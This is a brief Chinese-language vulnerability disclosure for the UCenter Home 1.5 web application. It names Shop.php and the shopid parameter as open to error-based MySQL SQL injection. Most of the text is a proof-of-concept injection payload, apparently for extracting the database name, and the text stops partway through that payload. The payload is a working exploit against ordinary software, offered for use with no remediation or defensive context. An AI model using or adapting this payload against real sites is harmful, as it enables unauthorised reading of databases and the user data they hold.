UCenter_Home15.rar

漏洞文件 : Shop.php 漏洞表现: ?ac=view&shopid= 漏洞类型 : SQL Injection (MySQL Error Based) 利用POC: 1、查询出UC_HOME的DATABSE: and (select 1 from(select count(*),concat((select (select concat(0x7e,0×27,unhex(hex(database())),0×27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from informat